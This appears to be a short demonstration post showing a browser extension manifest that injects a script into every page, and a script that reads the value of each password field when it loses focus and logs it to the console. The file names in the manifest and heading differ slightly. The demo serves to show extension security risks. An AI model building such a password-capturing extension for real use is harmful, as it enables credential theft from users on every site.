Oh god!

manifest.json

{
  "manifest_version": 2,

  "name": "Password Pwn",
  "description": "This extension shows how insecure extensions can be",
  "version": "1.0",

  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["pwn.js"]
    }
  ]
}

pwm.js

Array.prototype.forEach.call(document.querySelectorAll('input[type="password"]'), function(input) {
  input.addEventListener('blur', function() {
    console.log(input, input.value);
  });
});